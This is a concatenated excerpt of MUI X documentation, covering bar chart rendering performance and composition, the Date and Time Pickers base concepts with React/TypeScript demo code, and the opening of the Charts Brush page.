    data: [
      2316, 1845, 2057, 1479, 1859, 1015, 1569, 1448, 1354, 1007, 799, 1748, 1454,
      1968, 1129, 1196, 2158, 540, 1482, 880,
    ],
  },
  {
    label: 'series 7',
    data: [
      2140, 2082, 708, 2032, 554, 1365, 2121, 1639, 2430, 2440, 814, 1328, 883, 1811,
      2322, 1743, 700, 2131, 1473, 957,
    ],
  },
  {
    label: 'series 8',
    data: [
      1074, 744, 2487, 823, 2252, 2317, 2139, 1818, 2256, 1769, 1123, 1461, 672,
      1335, 960, 1871, 2305, 1231, 2005, 908,
    ],
  },
  {
    label: 'series 9',
    data: [
      1792, 886, 2472, 1546, 2164, 2323, 2435, 1268, 2368, 2158, 2200, 1316, 552,
      1874, 1771, 1038, 1838, 2029, 1793, 1117,
    ],
  },
  {
    label: 'series 10',
    data: [
      1433, 1161, 1107, 1517, 1410, 1058, 676, 1280, 1936, 1774, 698, 1721, 1421,
      785, 1752, 800, 990, 1809, 1985, 665,
    ],
  },
].map((s) => ({ ...s, highlightScope }));

```

## Performance

Bar charts can display many bars, which can impact performance. The default rendering of bars use SVG `rect` elements, which can be slow for a large number of bars.

To improve performance, you can use the `renderer` prop set to `"svg-batch"`, which renders the bars more efficiently.
However, this comes with the following trade-offs:

- CSS styling of single bars is no longer possible;
- Transparent highlight style: for performance reasons, the highlighted state creates a highlighted bar on top of the original bar. Applying transparency to the highlighted bar can cause the original bar to be partially visible;
- No animation when highlighting or fading bars;
- The event of the `onItemClick` handler is a `MouseEvent` instead of a `React.MouseEvent`. To avoid breaking changes, the type of `onItemClick` was not changed, but you can import a type overload to fix it: `import type {} from '@mui/x-charts/moduleAugmentation/barChartBatchRendererOnItemClick'`;
- It is not available for [range bar charts](/x/react-charts/range-bar/).

The example below uses the `renderer` prop to improve performance when rendering a dataset with 500 data points.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import { BarChartPro } from '@mui/x-charts-pro/BarChartPro';
import FormControl from '@mui/material/FormControl';
import FormLabel from '@mui/material/FormLabel';
import RadioGroup from '@mui/material/RadioGroup';
import FormControlLabel from '@mui/material/FormControlLabel';
import Radio from '@mui/material/Radio';
import data from '../dataset/sp500-intraday.json';

const tickLabelDateFormatter = new Intl.DateTimeFormat(undefined, {
  month: 'short',
  day: 'numeric',
});

export default function BarBatchRenderer() {
  const [renderer, setRenderer] = React.useState<'svg-single' | 'svg-batch'>(
    'svg-batch',
  );

  return (
    <Stack width="100%">
      <FormControl fullWidth>
        <FormLabel id="bar-chart-renderer-label">Rendering Strategy</FormLabel>
        <RadioGroup
          row
          aria-labelledby="bar-chart-renderer-label"
          value={renderer}
          onChange={(event) =>
            setRenderer(event.target.value as 'svg-single' | 'svg-batch')
          }
        >
          <FormControlLabel
            value="svg-single"
            control={<Radio />}
            label="Individual Bars (default)"
          />
          <FormControlLabel
            value="svg-batch"
            control={<Radio />}
            label="Batch Bar Rendering"
          />
        </RadioGroup>
      </FormControl>

      <BarChartPro
        xAxis={[
          {
            data: data.map((d) => new Date(d.date)),
            valueFormatter: (v: Date) => tickLabelDateFormatter.format(v),
            zoom: true,
            ordinalTimeTicks: [
              'years',
              'quarterly',
              'months',
              'biweekly',
              'weeks',
              'days',
            ],
          },
        ]}
        series={[
          {
            data: data.map((d) => d.close),
            label: 'Close',
            highlightScope: { highlight: 'item', fade: 'global' },
          },
          {
            data: data.map((d) => d.open),
            label: 'Open',
            highlightScope: { highlight: 'item', fade: 'global' },
          },
        ]}
        height={300}
        renderer={renderer}
      />
    </Stack>
  );
}

```

## Composition

Use the `<ChartDataProvider />` to provide `series`, `xAxis`, and `yAxis` props for composition.

In addition to the common chart components available for [composition](/x/react-charts/composition/), you can use the `<BarPlot />` component that renders the bars and their labels.

Here's how the Bar Chart is composed:

```jsx
<ChartDataProvider>
  <ChartsWrapper>
    <ChartsLegend />
    <ChartsSurface>
      <ChartsGrid />
      <g clipPath={`url(#${clipPathId})`}>
        <BarPlot />
        <ChartsOverlay />
        <ChartsAxisHighlight />
      </g>
      <ChartsAxis />
      <ChartsClipPath id={clipPathId} />
    </ChartsSurface>
    <ChartsTooltip />
  </ChartsWrapper>
</ChartDataProvider>
```

```tsx
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import { BarPlot } from '@mui/x-charts/BarChart';
import { ScatterPlot } from '@mui/x-charts/ScatterChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { ChartsGrid } from '@mui/x-charts/ChartsGrid';
import { ChartDataProvider } from '@mui/x-charts/ChartDataProvider';
import { ChartsSurface } from '@mui/x-charts/ChartsSurface';
import { ChartsTooltip } from '@mui/x-charts/ChartsTooltip';
import { legendClasses, ChartsLegend } from '@mui/x-charts/ChartsLegend';
import { GDPdata } from '../dataset/gdpGrowth';

const chartSetting = {
  xAxis: [
    {
      id: 'bar',
      label: 'GDP growth rate',
      dataKey: '2024',
      colorMap: {
        type: 'piecewise' as const,
        thresholds: [0],
        colors: ['#ff4d4f', '#1976d2'],
      },
    },
    {
      id: 'scatter',
      label: '2010-19 Average',
      dataKey: '2010_19',
      color: '#FFFF00',
    },
  ],
  height: 800,
};

const valueFormatter = (value: number | null) =>
  value ? `${value.toFixed(2)}%` : '';

const scatterValueFormatter = (value: { x: number } | null) =>
  value ? `${value.x.toFixed(2)}%` : '';

function Gradient() {
  return (
    <linearGradient id="diagonalGradient" x1="0%" y1="50%" x2="100%" y2="50%">
      <stop offset="0%" stopColor="#ff4d4f" />
      <stop offset="50%" stopColor="#ff4d4f" />
      <stop offset="50%" stopColor="#1976d2" />
      <stop offset="100%" stopColor="#1976d2" />
    </linearGradient>
  );
}

export default function BarScatterCompostion() {
  return (
    <Box
      sx={{
        width: '100%',
        overflow: 'auto',
        display: 'flex',
        flexDirection: 'column',
        alignItems: 'center',
      }}
    >
      <Typography variant="h6">
        GDP growth rate comparison (2024 vs 2010-19 Avg)
      </Typography>
      <ChartDataProvider
        dataset={GDPdata}
        series={[
          {
            id: 'bar',
            type: 'bar',
            layout: 'horizontal',
            dataKey: '2024',
            label: '2024 ',
            valueFormatter,
          },
          {
            id: 'scatter',
            type: 'scatter',
            datasetKeys: { id: 'country', x: '2010_19', y: 'country' },
            label: '2010-19 Average',
            valueFormatter: scatterValueFormatter,
            markerSize: 4,
            xAxisId: 'scatter',
          },
        ]}
        yAxis={[{ scaleType: 'band', dataKey: 'country', width: 100 }]}
        {...chartSetting}
      >
        <ChartsLegend
          sx={{
            [`[data-series="bar"] .${legendClasses.mark} rect`]: {
              fill: 'url(#diagonalGradient)',
            },
          }}
        />
        <ChartsTooltip />
        <ChartsSurface>
          <Gradient />
          <ChartsGrid vertical />
          <BarPlot />
          <ScatterPlot />
          <ChartsXAxis axisId="bar" />
          <ChartsYAxis />
        </ChartsSurface>
      </ChartDataProvider>
    </Box>
  );
}

```

---

# Source: https://mui.com/x/react-date-pickers/base-concepts.md

---
productId: x-date-pickers
title: Date and Time Picker - Base concepts
packageName: '@mui/x-date-pickers'
githubLabel: 'scope: pickers'
materialDesign: https://m2.material.io/components/date-pickers
waiAria: https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/examples/datepicker-dialog/
---

# Date and Time Pickers - Base concepts

The Date and Time Pickers expose a lot of components to fit your every need.

## Controlled value

All the components have a `value` / `onChange` API to set and control the values:

```tsx
import * as React from 'react';
import { Dayjs } from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function ControlledComponent() {
  const [value, setValue] = React.useState<Dayjs | null>(null);

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DatePicker']}>
        <DatePicker value={value} onChange={(newValue) => setValue(newValue)} />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Imports

All the components exported by `@mui/x-date-pickers` are also exported by `@mui/x-date-pickers-pro` but without the nested imports.

For example, to use the `DatePicker` component, the following three imports are valid:

```tsx
import { DatePicker } from '@mui/x-date-pickers/DatePicker';
import { DatePicker } from '@mui/x-date-pickers';
import { DatePicker } from '@mui/x-date-pickers-pro';
```

## Date library

The Date and Time Pickers are focused on UI/UX and, like most other picker components available, require a third-party library to format, parse, and mutate dates.

MUI's components let you choose which library you prefer for this purpose.
This gives you the flexibility to implement any date library you may already be using in your application, without adding an extra one to your bundle.

To achieve this, both `@mui/x-date-pickers` and `@mui/x-date-pickers-pro` export a set of **adapters** that expose the date manipulation libraries under a unified API.

### Available libraries

The Date and Time Pickers currently support the following date libraries:

- [Day.js](https://day.js.org/)
- [date-fns](https://date-fns.org/)
- [Luxon](https://moment.github.io/luxon/#/)
- [Moment.js](https://momentjs.com/)

:::info
If you are using a non-Gregorian calendar (such as Jalali or Hijri), please refer to the [Support for other calendar systems](/x/react-date-pickers/calendar-systems/) page.
:::

### Recommended library

If you are already using one of the libraries listed above in your application, then you can keep using it with the Date and Time Pickers as well.
This will avoid bundling two libraries.

If you don't have your own requirements or don't manipulate dates outside of MUI X components, then the recommendation is to use `dayjs` because it has the smallest impact on your application's bundle size.

Here is the weight added to your gzipped bundle size by each of these libraries when used inside the Date and Time Pickers:

| Library           | Gzipped size |
| :---------------- | -----------: |
| `dayjs@1.11.5`    |      6.77 kB |
| `date-fns@2.29.3` |     19.39 kB |
| `luxon@3.0.4`     |     23.26 kB |
| `moment@2.29.4`   |     20.78 kB |

:::info
The results above were obtained in October 2022 with the latest version of each library.
The bundling of the JavaScript modules was done by a Create React App, and no locale was loaded for any of the libraries.

The results may vary in your application depending on the version of each library, the locale, and the bundler used.
:::

## Other components

### Choose interaction style

Depending on your use case, different interaction styles are preferred.

- For input editing with a popover or modal for mouse interaction, use the _Picker_ components:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function BasicDatePicker() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DatePicker']}>
        <DatePicker label="Date Picker" />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

- For input-only editing, use the _Field_ components:

```tsx
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateField } from '@mui/x-date-pickers/DateField';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';

export default function BasicDateField() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateField']}>
        <DateField label="Date Field" />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

- For inline editing, use the _Calendar / Clock_ components:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';

export default function BasicDateCalendar() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateCalendar']}>
        <DateCalendar />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info
Each _Picker_ is a combination of one _Field_ and one or several _Calendar / Clock_ components.
For example, the `DatePicker` is the combination of the `DateField` and the `DateCalendar`.

The _Calendar / Clock_ components are rendered inside a _Popover_ on desktop and inside a _Modal_ on mobile.
:::

### Date or time editing?

The Date and Time Pickers are divided into six families of components.
The demo below shows each one of them using their field component:

```tsx
import * as React from 'react';
import dayjs from 'dayjs';
import { styled } from '@mui/material/styles';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateField } from '@mui/x-date-pickers/DateField';
import { TimeField } from '@mui/x-date-pickers/TimeField';
import { DateTimeField } from '@mui/x-date-pickers/DateTimeField';
import { SingleInputDateRangeField } from '@mui/x-date-pickers-pro/SingleInputDateRangeField';
import { SingleInputTimeRangeField } from '@mui/x-date-pickers-pro/SingleInputTimeRangeField';
import { SingleInputDateTimeRangeField } from '@mui/x-date-pickers-pro/SingleInputDateTimeRangeField';
import Stack from '@mui/material/Stack';
import Tooltip from '@mui/material/Tooltip';

const ProSpan = styled('span')({
  display: 'inline-block',
  height: '1em',
  width: '1em',
  verticalAlign: 'middle',
  marginLeft: '0.3em',
  marginBottom: '0.08em',
  backgroundSize: 'contain',
  backgroundRepeat: 'no-repeat',
  backgroundImage: 'url(https://mui.com/static/x/pro.svg)',
});

function ProLabel({ children }: { children: React.ReactNode }) {
  return (
    <Stack direction="row" spacing={0.5} component="span">
      <Tooltip title="Included in Pro package">
        <a
          href="https://mui.com/x/introduction/licensing/#pro-plan"
          aria-label="Included in Pro package"
        >
          <ProSpan />
        </a>
      </Tooltip>
      <span>{children}</span>
    </Stack>
  );
}

export default function ComponentFamilies() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'DateField',
          'TimeField',
          'DateTimeField',
          'SingleInputDateRangeField',
          'SingleInputTimeRangeField',
          'SingleInputDateTimeRangeField',
        ]}
      >
        <DemoItem label="Date">
          <DateField defaultValue={dayjs('2022-04-17')} />
        </DemoItem>
        <DemoItem label="Time">
          <TimeField defaultValue={dayjs('2022-04-17T15:30')} />
        </DemoItem>
        <DemoItem label="Date Time">
          <DateTimeField defaultValue={dayjs('2022-04-17T15:30')} />
        </DemoItem>
        <DemoItem
          label={<ProLabel>Date Range</ProLabel>}
          component="SingleInputDateRangeField"
        >
          <SingleInputDateRangeField
            defaultValue={[dayjs('2022-04-17'), dayjs('2022-04-21')]}
          />
        </DemoItem>
        <DemoItem
          label={<ProLabel>Time Range</ProLabel>}
          component="SingleInputTimeRangeField"
        >
          <SingleInputTimeRangeField
            defaultValue={[dayjs('2022-04-17T15:30'), dayjs('2022-04-17T18:30')]}
          />
        </DemoItem>
        <DemoItem
          label={<ProLabel>Date Time Range</ProLabel>}
          component="SingleInputDateTimeRangeField"
        >
          <SingleInputDateTimeRangeField
            defaultValue={[dayjs('2022-04-17T15:30'), dayjs('2022-04-21T18:30')]}
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

### Responsiveness

Each _Picker_ is available in a responsive, desktop and mobile variant:

- The responsive component (for example `DatePicker`) which renders the desktop component or the mobile one depending on the device it runs on.

- The desktop component (for example `DesktopDatePicker`) which works best for mouse devices and large screens.
  It renders the views inside a popover and a field for keyboard editing.

- The mobile component (for example `MobileDatePicker`) which works best for touch devices and small screens.
  It renders the view inside a modal and a field for keyboard editing.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';
import { DesktopDatePicker } from '@mui/x-date-pickers/DesktopDatePicker';
import { MobileDatePicker } from '@mui/x-date-pickers/MobileDatePicker';

export default function ResponsivePickers() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={['DatePicker', 'DesktopDatePicker', 'MobileDatePicker']}
      >
        <DemoItem label="Responsive variant">
          <DatePicker defaultValue={dayjs('2022-04-17')} />
        </DemoItem>
        <DemoItem label="Desktop variant">
          <DesktopDatePicker defaultValue={dayjs('2022-04-17')} />
        </DemoItem>
        <DemoItem label="Mobile variant">
          <MobileDatePicker defaultValue={dayjs('2022-04-17')} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

### Find your component

There are many components available, each fitting specific use cases. Use the form below to find the component you need:

```tsx
import * as React from 'react';
// @ts-ignore
import { HighlightedCode } from '@mui/docs/HighlightedCode';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import Link from '@mui/material/Link';
import Select from '@mui/material/Select';
import MenuItem from '@mui/material/MenuItem';
import FormControl from '@mui/material/FormControl';
import InputLabel from '@mui/material/InputLabel';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
// eslint-disable-next-line no-restricted-imports
import * as exportedElements from '@mui/x-date-pickers-pro';
import Typography from '@mui/material/Typography';

const camelCaseToKebabCase = (str: string) =>
  str.replace(/([a-z])([A-Z])/g, '$1-$2').toLowerCase();
const camelCaseToPascalCase = (str: string) =>
  str.replace(/([a-z])([A-Z])/g, '$1 $2');

const getSubPackageFromExportedName = (exportedName: string) =>
  exportedName.replace(/Unstable_/g, '');

type ExportedElements = keyof typeof exportedElements;

interface State {
  valueType:
    | 'date'
    | 'time'
    | 'dateTime'
    | 'dateRange'
    | 'timeRange'
    | 'dateTimeRange';
  family: 'field' | 'view' | 'picker';
}

const COMPONENTS: Record<
  State['valueType'],
  Record<State['family'], ExportedElements[]>
> = {
  date: {
    field: ['DateField'],
    view: ['DateCalendar'],
    picker: [
      'DatePicker',
      'DesktopDatePicker',
      'MobileDatePicker',
      'StaticDatePicker',
    ],
  },
  time: {
    field: ['TimeField'],
    view: ['TimeClock'],
    picker: [
      'TimePicker',
      'DesktopTimePicker',
      'MobileTimePicker',
      'StaticTimePicker',
    ],
  },
  dateTime: {
    field: ['DateTimeField'],
    view: ['DateCalendar', 'TimeClock'],
    picker: [
      'DateTimePicker',
      'DesktopDateTimePicker',
      'MobileDateTimePicker',
      'StaticDateTimePicker',
    ],
  },
  dateRange: {
    field: ['SingleInputDateRangeField', 'MultiInputDateRangeField'],
    view: ['DateRangeCalendar'],
    picker: [
      'DateRangePicker',
      'DesktopDateRangePicker',
      'MobileDateRangePicker',
      'StaticDateRangePicker',
    ],
  },
  timeRange: {
    field: ['SingleInputTimeRangeField', 'MultiInputTimeRangeField'],
    view: [],
    picker: ['TimeRangePicker', 'DesktopTimeRangePicker', 'MobileTimeRangePicker'],
  },
  dateTimeRange: {
    field: ['SingleInputDateTimeRangeField', 'MultiInputDateTimeRangeField'],
    view: [],
    picker: [
      'DateTimeRangePicker',
      'DesktopDateTimeRangePicker',
      'MobileDateTimeRangePicker',
    ],
  },
};

export default function ComponentExplorerNoSnap() {
  const [state, setState] = React.useState<State>({
    valueType: 'date',
    family: 'picker',
  });

  const exportedNames = COMPONENTS[state.valueType][state.family];

  const importCode = exportedNames
    .map((exportedName) => {
      const cleanName = exportedName.replace(/Unstable_|Next/g, '');
      const subPackage = getSubPackageFromExportedName(exportedName);

      const isPro = cleanName.includes('Range');

      return isPro
        ? `
import { ${exportedName} } from '@mui/x-date-pickers-pro/${subPackage}';
import { ${exportedName} } from '@mui/x-date-pickers-pro';`
        : `
import { ${exportedName} } from '@mui/x-date-pickers/${subPackage}';
import { ${exportedName} } from '@mui/x-date-pickers';
import { ${exportedName} } from '@mui/x-date-pickers-pro';`;
    })
    .join('\n');

  const content = exportedNames.map((exportedName) => {
    const Component = exportedElements[
      exportedName
    ] as unknown as React.JSXElementConstructor<{}>;

    return (
      <DemoItem
        key={exportedName}
        label={getSubPackageFromExportedName(exportedName)}
        component={exportedName}
      >
        <Component />
      </DemoItem>
    );
  });

  const docPages = React.useMemo(() => {
    const docPagesNames = Array.from(
      new Set(
        exportedNames.map((exportedName) =>
          exportedName.replace(
            /(Unstable_|Desktop|Mobile|Static|Next|SingleInput|MultiInput)/g,
            '',
          ),
        ),
      ),
    );

    return docPagesNames.map((docPageName) => ({
      name: camelCaseToPascalCase(docPageName),
      path: `/x/react-date-pickers/${camelCaseToKebabCase(docPageName)}/`,
    }));
  }, [exportedNames]);

  return (
    <Stack spacing={3} sx={{ width: '100%', py: 2 }}>
      <Stack direction="row" spacing={2}>
        <FormControl sx={{ width: 192 }}>
          <InputLabel id="component-explorer-value-type-label">
            Value type
          </InputLabel>
          <Select
            label="Value type"
            labelId="component-explorer-value-type-label"
            value={state.valueType}
            onChange={(event) =>
              setState((prev) => ({
                ...prev,
                valueType: event.target.value as State['valueType'],
              }))
            }
          >
            <MenuItem value="date">Date</MenuItem>
            <MenuItem value="time">Time</MenuItem>
            <MenuItem value="dateTime">Date and Time</MenuItem>
            <MenuItem value="dateRange">
              Date Range <span className="plan-pro" />
            </MenuItem>
            <MenuItem value="timeRange">
              Time Range <span className="plan-pro" />
            </MenuItem>
            <MenuItem value="dateTimeRange">
              Date Time Range <span className="plan-pro" />
            </MenuItem>
          </Select>
        </FormControl>
        <FormControl sx={{ width: 164 }}>
          <InputLabel id="component-explorer-family-label">Family</InputLabel>
          <Select
            label="Family"
            labelId="component-explorer-family-label"
            value={state.family}
            onChange={(event) =>
              setState((prev) => ({
                ...prev,
                family: event.target.value as State['family'],
              }))
            }
          >
            <MenuItem value="picker">Picker</MenuItem>
            <MenuItem value="field">Field</MenuItem>
            <MenuItem value="view">Calendar / Clock</MenuItem>
          </Select>
        </FormControl>
      </Stack>
      {exportedNames.length > 0 ? (
        <React.Fragment>
          <div>
            {docPages.map((docPage) => (
              <div key={docPage.path}>
                <Link href={docPage.path} rel="noopener" target="_blank">
                  {docPage.name} documentation
                </Link>
              </div>
            ))}
          </div>
          <Stack>
            <Typography>Import code:</Typography>
            <HighlightedCode
              code={importCode}
              language="tsx"
              sx={{ '& pre': { mt: 1, mb: 0 } }}
            />
          </Stack>
          <div>
            <Typography sx={{ mb: 1 }}>Live example:</Typography>
            <Box sx={{ display: 'flex', justifyContent: 'center' }}>
              <LocalizationProvider dateAdapter={AdapterDayjs}>
                <DemoContainer components={exportedNames}>{content}</DemoContainer>
              </LocalizationProvider>
            </Box>
          </div>
        </React.Fragment>
      ) : (
        <Typography>This component is not available yet</Typography>
      )}
    </Stack>
  );
}

```

## Reference date when no value is defined

If `value` or `defaultValue` contains a valid date, this date will be used to initialize the rendered component.

In the demo below, you can see that the calendar is set to April 2022 on mount:

```tsx
import dayjs from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function ReferenceDateUsingValue() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DatePicker']}>
        <DatePicker
          defaultValue={dayjs('2022-04-17')}
          views={['year', 'month', 'day']}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

When `value` and `defaultValue` contain no valid date, the component will try to find a reference date that passes the validation to initialize its rendering:

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function ReferenceDateDefaultBehavior() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DatePicker', 'DatePicker']}>
        <DemoItem label="No validation: uses today">
          <DatePicker />
        </DemoItem>
        <DemoItem label="Validation: uses the day of `maxDate`">
          <DatePicker maxDate={dayjs('2022-04-17')} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

You can override this date using the `referenceDate` prop:

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';

export default function ReferenceDateExplicitDateTimePicker() {
  const [value, setValue] = React.useState<Dayjs | null>(null);

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Stack spacing={2} sx={{ minWidth: 305 }}>
        <DateTimePicker
          value={value}
          onChange={setValue}
          referenceDate={dayjs('2022-04-17T15:30')}
        />
        <Typography>
          Stored value: {value == null ? 'null' : value.format()}
        </Typography>
      </Stack>
    </LocalizationProvider>
  );
}

```

This can also be useful to set the part of the value that will not be selectable in the component.
For example, in a Time Picker, it lets you choose the date of your value:

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { TimePicker } from '@mui/x-date-pickers/TimePicker';

export default function ReferenceDateExplicitTimePicker() {
  const [value, setValue] = React.useState<Dayjs | null>(null);

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Stack spacing={2} sx={{ minWidth: 305 }}>
        <TimePicker
          value={value}
          onChange={setValue}
          referenceDate={dayjs('2022-04-17')}
        />
        <Typography>
          Stored value: {value == null ? 'null' : value.format()}
        </Typography>
      </Stack>
    </LocalizationProvider>
  );
}

```

Reference date can be unique for each range component position.
You can pass an array of dates to the `referenceDate` prop to set the reference date for each position in the range.
This might be useful when you want different time values for start and end positions in a Date Time Range Picker.

:::info
Try selecting a date in the demo below, then move to the next position to observe the end reference date usage.
:::

```tsx
import dayjs from 'dayjs';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';

export default function ReferenceDateRange() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DateTimeRangePicker
        referenceDate={[dayjs('2022-04-17T07:45'), dayjs('2022-04-21T17:30')]}
      />
    </LocalizationProvider>
  );
}

```

## Testing caveats

### Responsive components

:::info
Some test environments (for example `jsdom`) do not support media query. In such cases, components will be rendered in desktop mode. To modify this behavior you can fake the `window.matchMedia`.
:::

Be aware that running tests in headless browsers might not pass the default mediaQuery (`pointer: fine`).
In such cases you can [force pointer precision](https://github.com/microsoft/playwright/issues/7769#issuecomment-1205106311) via browser flags or preferences.

### Field components

:::info
To support RTL and some keyboard interactions, field components add some Unicode characters that are invisible, but appear in the input value.
:::

To add tests about a field value without having to care about those characters, you can remove the specific characters before testing the equality.
Here is an example of how to do it.

```js
// Helper removing specific characters
const cleanText = (string) =>
  string.replace(/\u200e|\u2066|\u2067|\u2068|\u2069/g, '');

// Example of a test using the helper
expect(cleanText(input.value)).to.equal('04-17-2022');
```

## Overriding slots and slot props

Date and Time Pickers are complex components built using many subcomponents known as **slots**.
Slots are commonly filled by React components that you can override using the `slots` prop.
You can also pass additional props to the available slots using the `slotProps` prop.
Learn more about the mental model of slots in the Base UI documentation: [Overriding component structure](https://v6.mui.com/base-ui/guides/overriding-component-structure/).

You can find the list of available slots for each component in its respective [API reference](/x/api/date-pickers/date-picker/#slots) doc.

Some parts of the Pickers' UI are built on several nested slots. For instance, the adornment of the `TextField` on `DatePicker` contains three slots (`inputAdornment`, `openPickerButton`, and `openPickerIcon`) that you can use depending on what you are trying to customize.

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';
import { PickersDay } from '@mui/x-date-pickers/PickersDay';
import EditCalendarRoundedIcon from '@mui/icons-material/EditCalendarRounded';
import { styled } from '@mui/material/styles';
import IconButton from '@mui/material/IconButton';

const StyledButton = styled(IconButton)(({ theme }) => ({
  borderRadius: theme.shape.borderRadius,
}));
const StyledDay = styled(PickersDay)(({ theme }) => ({
  borderRadius: theme.shape.borderRadius,
  color: theme.palette.secondary.light,
  ...theme.applyStyles('light', {
    color: theme.palette.secondary.dark,
  }),
}));

export default function CustomSlots() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DatePicker']}>
        <DatePicker
          label="Styled picker"
          slots={{
            openPickerIcon: EditCalendarRoundedIcon,
            openPickerButton: StyledButton,
            day: StyledDay,
          }}
          slotProps={{
            openPickerIcon: { fontSize: 'large' },
            openPickerButton: { color: 'secondary' },
            textField: {
              variant: 'filled',
              focused: true,
              color: 'secondary',
            },
          }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info
Learn more about overriding slots in the doc page about [Custom slots and subcomponents](/x/react-date-pickers/custom-components/).
:::

---

# Source: https://mui.com/x/react-charts/brush.md

---
title: Charts - Brush
productId: x-charts
components: ChartsBrushOverlay
---

# Charts - Brush

Let users select a region on a chart by clicking and dragging.

The brush interaction enables users to select chart regions by clicking and dragging.
It captures the start and current positions of the selection, which you can use for:

- Highlighting trends or clusters within a defined range
<!-- - Zooming in on a selected region to focus on specific data points   -->
- Selecting data points for further inspection, editing, or annotation
- Triggering callbacks or custom events based on the selection area

The brush is available in the following chart types:

- `LineChart`
- `BarChart`
- `ScatterChart`

Visual feedback is provided through the `ChartsBrushOverlay` component.

## Implementing the brush feature

You can enable the brush by setting `brushConfig={{ enabled: true }}` in a Cartesian chart.

By default, the brush has no visual feedback.
To display the selected area, you can add the `ChartsBrushOverlay` component as a child of your chart.

To create a custom interaction, you can use the `useBrush()` hook as shown in the [Custom overlay](#custom-overlay) section below.

```tsx
